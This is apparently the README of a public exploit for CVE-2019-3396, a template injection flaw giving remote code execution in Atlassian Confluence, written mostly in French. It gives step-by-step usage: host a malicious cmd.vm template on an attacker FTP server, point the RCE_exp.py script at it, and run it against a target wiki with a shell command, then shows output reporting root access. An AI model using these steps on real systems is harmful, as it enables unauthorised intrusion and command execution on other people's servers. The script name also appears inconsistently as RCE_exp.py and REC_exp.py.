
CVE-2019-3396 confluence SSTI RCE
CVE-2019-3396 confluence SSTI RCE
1、placez le fichier cmd.vm sur votre site web (doit utiliser ftp ou https, http ne fonctionne pas) 2、modifiez RCE_exp.py ,changez le nom de fichier = 'ftp://1.1.1.1/cmd.vm' (python -m pyftpdlib -p 21) 3、python REC_exp.py http://test.wiki_test.cc:8080 "whoami"
$ python REC_exp.py http://test.wiki_test.cc:8080 "id"
uid=0(root) gid=0(root) groups=0(root)